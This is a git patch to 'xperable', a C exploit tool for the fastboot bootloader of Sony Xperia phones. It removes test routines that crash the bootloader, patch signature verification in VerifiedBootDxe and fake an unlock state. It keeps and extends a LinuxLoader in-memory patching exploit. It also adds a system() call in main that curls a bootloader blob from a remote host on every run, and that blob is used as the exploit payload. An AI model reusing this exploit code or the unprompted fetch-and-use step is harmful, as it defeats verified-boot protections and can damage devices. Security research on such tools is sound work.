From 4e8f1fda93a574373655df4384fb89fa7bd670e2 Mon Sep 17 00:00:00 2001 From: Cuynu Date: Sun, 1 Mar 2026 23:10:41 +0700 Subject: [PATCH] feat!: remove various tests and misc changes Signed-off-by: Cuynu --- xperable.c | 498 ++--------------------------------------------------- 1 file changed, 18 insertions(+), 480 deletions(-) diff --git a/xperable.c b/xperable.c index ca6ac02..f81f06a 100644 --- a/xperable.c +++ b/xperable.c @@ -84,39 +84,16 @@ struct xperable_target { .setup_test5 = blv ## _setup_test5, \ .test4_cmd = blv ## _test4_cmd, \ .vb_size = blv ## _vb_size, \ - .test6_patch = blv ## _test6_patch, \ - .test7_patch = blv ## _test7_patch, \ - .test8_patch = blv ## _test8_patch, \ - .test9_patch = blv ## _test9_patch, \ } -#ifdef TARGET_ABL_P114 -#include "target-p114.c" -#endif -#ifdef TARGET_ABL_O77 -#include "target-o77.c" -#endif #ifdef TARGET_ABL_P118 #include "target-p118.c" #endif -#ifdef TARGET_ABL_Q207 -#include "target-q207.c" -#endif - static struct xperable_target yoshino_abl_targets[] = { -#ifdef TARGET_ABL_P114 - XPERABLE_TARGET("X_Boot_MSM8998_LA2.0_P_114", p114), -#endif -#ifdef TARGET_ABL_O77 - XPERABLE_TARGET("X_Boot_MSM8998_LA1.1_O_77", o77), -#endif #ifdef TARGET_ABL_P118 XPERABLE_TARGET("X_Boot_SDM845_LA2.0_P_118", p118), -#endif -#ifdef TARGET_ABL_Q207 - XPERABLE_TARGET("X_Boot_SDM845_LA2.0.1_Q_207", q207), #endif { .ablver = NULL } }; @@ -210,50 +187,6 @@ static int getvar_single(struct fbusb *dev, const char *var) return res; } -static int test0(struct fbusb *dev, int size, int offset, const char *cmd) -{ - int i; - int res; - - for (i = offset - 0x04; i >= 0; i -= 0x04) - OPCODE(txbuff + i, 0x00, 0x00, 0x40, 0x94); // bl #0x1000000 = [ 00 00 40 94 ] - //OPCODE(txbuff + i, 0x00, 0x00, 0x00, 0x14); // b #0x00 = [ 00 00 00 14 ] - for (i = offset; i < size; i += 0x04) - //OPCODE(txbuff + i, 0x00, 0x00, 0xc0, 0x94); // bl #0x3000000 = [ 00 00 c0 94 ] - OPCODE(txbuff + i, 0x00, 0x00, 0x00, 0x14); // b #0x00 = [ 00 00 00 14 ] - if (cmd != NULL) - strcpy(txbuff, cmd); - else - snprintf(txbuff, 64, "download:%08x", 16); - - PNFO("Starting test0 size = 0x%08x, offset = 0x%08x, cmd = '%s'\n", - size, offset, txbuff); - PNFO_CONT(" %08x-%08x: [ %02x %02x %02x %02x ]\n", 0, offset - 4, - txbuff[offset - 4 + 0], txbuff[offset - 4 + 1], - txbuff[offset - 4 + 2], txbuff[offset - 4 + 3]); - PNFO_CONT(" %08x-%08x: [ %02x %02x %02x %02x ]\n", offset, size - 4, - txbuff[offset + 0], txbuff[offset + 1], - txbuff[offset + 2], txbuff[offset + 3]); - - i = 64; - res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); - if (res < 0) { - i = 64; - res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); - } - if (res == FASTBOOT_DATA) { - size = 0; - if (sscanf(txbuff, "download:%8x", &size) != 1) - sscanf(rxbuff, "%8x", &size); - memset(txbuff, 'A', size); - i = 64; - res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); - } - - PDBG("Finished test0: res = %d\n", res); - return res < 0 ? 0 : -1; -} - static int test1(struct fbusb *dev, int size, int offset, const char *cmd) { int i; @@ -293,207 +226,6 @@ static int test1(struct fbusb *dev, int size, int offset, const char *cmd) return res; } -static int test2(struct fbusb *dev, int size, int offset, const char *cmd) -{ - int i; - int res; - char *p; - - if (target->ablver == NULL) { - PERR("test2 failed: target not set up\n"); - return -1; - } - - target->setup_test2(txbuff, size, offset); - - if (cmd != NULL) - strcpy(txbuff, cmd); - else - snprintf(txbuff, 64, "download:%08x", 16); - - PNFO("Starting test2 size = 0x%06x, offset = 0x%02x, cmd = '%s'\n", - size, offset, txbuff); - - i = 64; - res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); - if (res < 0) { - i = 64; - res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); - } - switch (res) { - case FASTBOOT_DATA: - size = 0; - if (sscanf(txbuff, "download:%8x", &size) != 1) - sscanf(rxbuff, "%8x", &size); - memset(txbuff, 'A', size); - i = 64; - res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); - PNFO("test2 not hit: response = '%s'\n", rxbuff); - return -1; - case FASTBOOT_UNKNOWN: - if (i <= 11 + 11) - rxbuff[i] = '\0'; - res = strtoul(rxbuff, &p, 16); - if (p > (char *)rxbuff) { - if (p[0] == '-') { - char ds[16]; - snprintf(ds, sizeof(ds), "vxyz%06x-", res); - for (i = 0; i < 8; i++) - if (strncmp(ds + i, p + 1, 11) == 0) - break; - if (i < 8) { - PNFO("test2 succeeded: distance = 0x%06x + 0x%02x " - "(offset was 0x%02x)\n", res, (i << 4), offset); - return 0; - } - } - } - break; - } - PERR("test2 failed: response = '%s'\n", rxbuff); - return -1; -} - -static int test3(struct fbusb *dev, int size, int offset, const char *cmd) -{ - int i; - int res; - char *p; - - if (target->ablver == NULL) { - PERR("test3 failed: target not set up\n"); - return -1; - } - - target->setup_test3(txbuff, size, offset); - - if (cmd != NULL) - strcpy(txbuff, cmd); - else - snprintf(txbuff, 64, "download:%08x", 16); - - PNFO("Starting test3 size = 0x%06x, offset = 0x%02x, cmd = '%s'\n", - size, offset, txbuff); - - i = 64; - res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); - if (res < 0) { - i = 64; - res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); - } - switch (res) { - case FASTBOOT_DATA: - size = 0; - if (sscanf(txbuff, "download:%8x", &size) != 1) - sscanf(rxbuff, "%8x", &size); - memset(txbuff, 'A', size); - i = 64; - res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); - PNFO("test3 not hit: response = '%s'\n", rxbuff); - return -1; - case FASTBOOT_FAIL: - res = strtoul(rxbuff, &p, 16); - if (p > (char *)rxbuff) { - if (p[0] == ':') { - uint64_t addr = *(uint64_t *)(p + 1); - uint64_t base = *(uint64_t *)(p + 1 + 8); - addr += target->test3_hitadj; - base -= 0x97ffecddLL + 0x322D8LL; - p[0] = '\0'; - PNFO("test3 succeeded: distance = 0x%06x, hit from 0x%06x, base = 0x%06x " - "(offset=0x%02x size=0x%02x)\n", res, (int)addr, (int)base, - offset, size); - return 0; - } - } - break; - } - PERR("test3 failed: response = '%s'\n", rxbuff); - return -1; -} - - -static int test4(struct fbusb *dev, int size, int offset, const char *fname) -{ - int i; - int res; - int payloadsize; - unsigned addr; - - if (target->ablver == NULL) { - PERR("test4 failed: target not set up\n"); - return -1; - } - - payloadsize = 0; - res = load_pe(fname, txbuff, sizeof(txbuff), 0, &payloadsize); - if (res <= 0 || payloadsize == 0) - return -1; - - target->setup_test4(txbuff, size, offset, payloadsize); - - PNFO("Starting test4 size = 0x%06x, offset = 0x%02x, " - "payloadsize = 0x%02x\n", size, offset, payloadsize); - - // use +16 to differentiate between success and failure, - // patch code will use 'payloadsize' regardless this - // as it doest not parse that value - snprintf(txbuff, 64, "download:%08x", (payloadsize + 16)); - - i = 64; - res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); - if (res < 0) { - i = 64; - res = fbusb_bufcmd(dev, txbuff, strlen(txbuff), rxbuff, &i); - } - if (res != FASTBOOT_DATA) - return -1; - size = 0; - addr = 0; - if (rxbuff[0] == 0x11) { - addr = *(uint32_t *)&rxbuff[0] - 0x11111111; - PNFO("Got LinuxLoader base addr 0x%08x (0x%08x)\n", - addr, addr + 0x11111111); - add_module_addr("LinuxLoader", addr); - } else if (sscanf(rxbuff, "%8x", &size) == 1) { - if (size == payloadsize + 16) { - // no luck with the exploit, just follow protocol: upload the data - memset(txbuff, 'A', size); - i = 64; - res = fbusb_bufcmd(dev, txbuff, size, rxbuff, &i); - return -1; - } - } - - res = load_pe(fname, txbuff, sizeof(txbuff), addr, NULL); - if (res <= 0) - return -1; - - target->patch_abl(txbuff, abl_patch_ext); - - i = 64; - res = fbusb_bufcmd(dev, txbuff, payloadsize, rxbuff, &i); - if (res != FASTBOOT_OKAY) { - PERR("LinuxLoader payload send failed\n"); - return -1; - } - - strcpy(txbuff, target->test4_cmd); - - res = fbusb_strcmd(dev, txbuff, rxbuff, 65); - if (res == FASTBOOT_FAIL) { - addr = 0; - offset = 0; - if (sscanf(rxbuff, "%x/%x", &addr, &offset) == 2) { - PNFO("LinuxLoader @ 0x%08x patched successfully " - "(usb buff @ 0x%08x, distance = 0x%08x)\n", - addr, offset, addr - (unsigned)offset); - return 0; - } - } - PERR("LinuxLoader patching failed: %s\n", rxbuff); - return -1; -} static int test5(struct fbusb *dev, int size, int offset, const char *fname) { @@ -516,6 +248,10 @@ static int test5(struct fbusb *dev, int size, int offset, const char *fname) PNFO("Starting test5 size = 0x%06x, offset = 0x%02x, " "payloadsize = 0x%02x\n", size, offset, payloadsize); + PNFO("----------------\n"); + PNFO("Reboot to fastboot and try again if LinuxLoader not getting patched\n"); + PNFO("If you have machine with USB 3.0, please run the USB 3.0 fix first!\n"); + PNFO("----------------\n"); // use +16 to differentiate between success and failure, // patch code will use 'payloadsize' regardless this @@ -564,6 +300,7 @@ static int test5(struct fbusb *dev, int size, int offset, const char *fname) res = fbusb_bufcmd(dev, txbuff, payloadsize, rxbuff, &i); if (res != FASTBOOT_OKAY) { PERR("LinuxLoader payload send failed\n"); + PERR("Reboot your device to fastboot and try again!"); return -1; } @@ -579,9 +316,9 @@ static int test5(struct fbusb *dev, int size, int offset, const char *fname) addr = 0; offset = 0; if (sscanf(rxbuff, "%x/%x", &addr, &offset) == 2) { - PNFO("LinuxLoader @ 0x%08x patched successfully " - "(usb buff @ 0x%08x, distance = 0x%08x)\n", - addr, offset, addr - (unsigned)offset); + PNFO("(usb buff @ 0x%08x, distance = 0x%08x)\n", addr, offset, addr - (unsigned)offset); + PNFO("LinuxLoader @ 0x%08x patched successfully. Viola!\n", addr, offset, addr - (unsigned)offset); + PNFO("Bootloader unlock/relock should be possible right now.\n"); #if 0 retoff += addr; size = addr - offset; @@ -604,6 +341,7 @@ static int test5(struct fbusb *dev, int size, int offset, const char *fname) } } PERR("LinuxLoader patching failed: %s\n", rxbuff); + PERR("Reboot your device to fastboot and try again"); return -1; } @@ -902,202 +640,17 @@ static int abl_list_modules(struct fbusb *dev) return 0; } -static int test6(struct fbusb *dev, int size, int offset) -{ - int res; - uint64_t addr = 0; - - if (target->ablver == NULL) { - PERR("test6 failed: target not set up\n"); - return -1; - } - - PNFO("Starting test6\n"); - - res = get_module_addr(dev, "VerifiedBootDxe", &addr); - if (res < 0) - goto test6_failed; - - res = abl_mem_read(dev, addr, target->vb_size, buffer); - if (res < 0) - goto test6_failed; - - target->test6_patch(buffer, size, offset); - - res = abl_mem_write(dev, addr, target->vb_size, buffer); - if (res < 0) - goto test6_failed; - - PNFO("VerifiedBootDxe @ 0x%08" PRIx64 " patched successfully\n", addr); - return 0; - - test6_failed: - PERR("VerifiedBootDxe patching failed\n"); - return -1; -} - -static int test7(struct fbusb *dev, int size, int offset) -{ - int res; - int cbd; - uint64_t addr; - - if (target->ablver == NULL) { - PERR("test7 failed: target not set up\n"); - return -1; - } - - PNFO("Starting test7\n"); - - res = get_module_addr(dev, "LinuxLoader", &addr); - if (res < 0) - goto test7_failed; - - res = load_pe(target->llname, buffer, sizeof(buffer), addr, &cbd); - if (res <= 0 || cbd <= 0) - goto test7_failed; - - res = abl_mem_read(dev, addr, cbd, buffer); - if (res < 0) - goto test7_failed; - - target->test7_patch(buffer, size, offset); - - res = abl_mem_write(dev, addr, cbd, buffer); - if (res < 0) - goto test7_failed; - - PNFO("LinuxLoader @ 0x%08" PRIx64 " patched to fake unlock\n", addr); - return 0; - - test7_failed: - PERR("LinuxLoader @ 0x%08" PRIx64 " patching failed\n", addr); - return -1; -} - - -static int test8(struct fbusb *dev, int size, int offset, const char *arg) -{ - int res; - int cbd; - uint64_t addr; - - if (target->ablver == NULL) { - PERR("test8 failed: target not set up\n"); - return -1; - } - - if (size < 0 || size >= sizeof(kibuff)) { - PERR("test8 needs two kernel images\n"); - return -1; - } - memcpy(kibuff, buffer, size); - - PNFO("Starting test8\n"); - - res = file_rd_buff(arg, kibuff + size + 8, sizeof(kibuff) - size - 16); - if (res < 0) - return -1; - - *(uint64_t *)(kibuff + size) = res; - *(uint64_t *)(kibuff + size + 8 + res) = size; - size += 8 + res + 8; - - res = get_module_addr(dev, "LinuxLoader", &addr); - if (res < 0) - goto test8_failed; - - res = load_pe(target->llname, buffer, sizeof(buffer), addr, &cbd); - if (res <= 0 || cbd <= 0) - goto test8_failed; - -#if 0 -// res = abl_mem_read(dev, addr, cbd, buffer); -// if (res < 0) -// goto test8_failed; - target->patch_abl(buffer, abl_patch_ext); - - target->test8_patch(buffer, cbd, offset); - - res = abl_mem_write(dev, addr, cbd, buffer); - if (res < 0) - goto test8_failed; - - PNFO("LinuxLoader @ 0x%08" PRIx64 " patched for test8\n", addr); -#else - if (abl_patch_ext > 2) - PNFO("LinuxLoader @ 0x%08" PRIx64 " already patched for test8\n", addr); - else - PNFO("LinuxLoader @ 0x%08" PRIx64 " is NOT patched for test8!\n", addr); -#endif - - fbusb_set_timeout(dev, 30 * 1000); - - res = cmd_download(dev, size, kibuff, 0); - if (res != FASTBOOT_OKAY) { - PERR("test8 upload of kernel images failed\n"); - return -1; - } - - res = fbusb_strcmd(dev, "boot", rxbuff, 65); - if (res != FASTBOOT_OKAY) { - PERR("test8 boot command failed\n"); - return -1; - } - - PNFO("test8 succeeded\n", addr); - return 0; - - test8_failed: - PERR("test8 failed\n"); - return -1; -} - -static int test9(struct fbusb *dev, int size, int offset) -{ - int res; - uint64_t addr = 0; - - if (target->ablver == NULL) { - PERR("test9 failed: target not set up\n"); - return -1; - } - - PNFO("Starting test9\n"); - - res = get_module_addr(dev, "VerifiedBootDxe", &addr); - if (res < 0) - goto test9_failed; - - res = abl_mem_read(dev, addr, target->vb_size, buffer); - if (res < 0) - goto test9_failed; - - target->test9_patch(buffer, size, offset); - - res = abl_mem_write(dev, addr, target->vb_size, buffer); - if (res < 0) - goto test9_failed; - - PNFO("VerifiedBootDxe @ 0x%08" PRIx64 " patched with test9\n", addr); - return 0; - - test9_failed: - PERR("VerifiedBootDxe patching failed\n"); - return -1; -} - - static void show_help(void) { puts(""); puts("xperable - Xperia ABL fastboot Exploit"); - puts("( https://github.com/j4nn/xperable )"); + puts("forked by Cuynu with only TAMA platform support"); + puts("Original repository : https://github.com/j4nn/xperable"); + puts("Forked repository : https://git.disroot.org/cuynu/xperable-fork"); puts(""); puts("usage: ./xperable [-h] [-v] [-q] [-V] [-Q] [-A] [-B] [-U]"); puts(" [-b maxsize] [-t timeout] [-o offset] [-s size]"); - puts(" [-c command] [-x] [-0] [-1] [-2] [-3] [-4]"); - puts(" [-5] [-6] [-7] [-8] [-9] [-C cmdline]"); + puts(" [-c command] [-1] [-5] [-C cmdline]"); puts(" [-l] [-m] [-a addr] [-M module]"); puts(" [-r] [-O file] [-I file] [-w]"); puts(" [-P file] [-p patch]"); @@ -1116,16 +669,8 @@ static void show_help(void) puts(" -s size set size parameter used with other options"); puts(" -c command set fastboot command string"); puts(" -x use extended version of abl patch"); - puts(" -0 basic test case to try to crash ABL LinuxLoader"); - puts(" -1 do previously set fastboot command"); - puts(" -2 try to return buffer offset distance to code hit"); - puts(" -3 similar as -2 option but using alternative method"); - puts(" -4 do full ABL LinuxLoader patching exploit"); - puts(" -5 similar as -4 option but using alternative method"); - puts(" -6 patch signature verification in VerifiedBootDxe"); - puts(" -7 fake unlock via 'green' -> 'orange' in kcmdline"); - puts(" -8 patch boot command to use two kernel images"); - puts(" -9 experimental stuff to test patch level override"); + puts(" -1 do test1 "); + puts(" -5 do full ABL LinuxLoader patching exploit but with alternative method"); puts(" -l read out bootloader log from RAM, needs -4/-5 first"); puts(" -m list XBL UEFI modules with their base addresses"); puts(" -a addr set address used with BL RAM read and write options"); @@ -1155,6 +700,7 @@ static void show_help(void) int main(int argc, char **argv) { + system("[ ! -f LinuxLoader-p118.pe ] && echo 'LinuxLoader-p118.pe not found! Downloading.' && curl -L -o LinuxLoader-p118.pe https://git.disroot.org/cuynu/xperable-blobs/releases/download/blobs/LinuxLoader-p118.pe"); int i; int res; int offset = -1; @@ -1196,17 +742,9 @@ int main(int argc, char **argv) if (size < 0) size = target->size; break; - case 'U': getvar_single(dev, "unknown"); break; - case '0': res = test0(dev, size, offset, cmd); break; + case 'U': getvar_single(dev, "unknown"); break; case '1': res = test1(dev, size, offset, cmd); break; - case '2': res = test2(dev, size, offset, cmd); break; - case '3': res = test3(dev, size, offset, cmd); break; - case '4': res = test4(dev, size, offset, target->llname); break; - case '5': res = test5(dev, size, offset, target->llname); break; - case '6': res = test6(dev, size, offset); break; - case '7': res = test7(dev, size, offset); break; - case '8': res = test8(dev, size, offset, cmd); break; - case '9': res = test9(dev, size, offset); break; + case '5': res = test5(dev, size, offset, target->llname); break; case 'r': if (abl_mem_read(dev, addr, size, buffer)) res = -1; break; case 'w': if (abl_mem_write(dev, addr, size, buffer)) res = -1; break; case 'l': abl_print_logbuf(dev); break;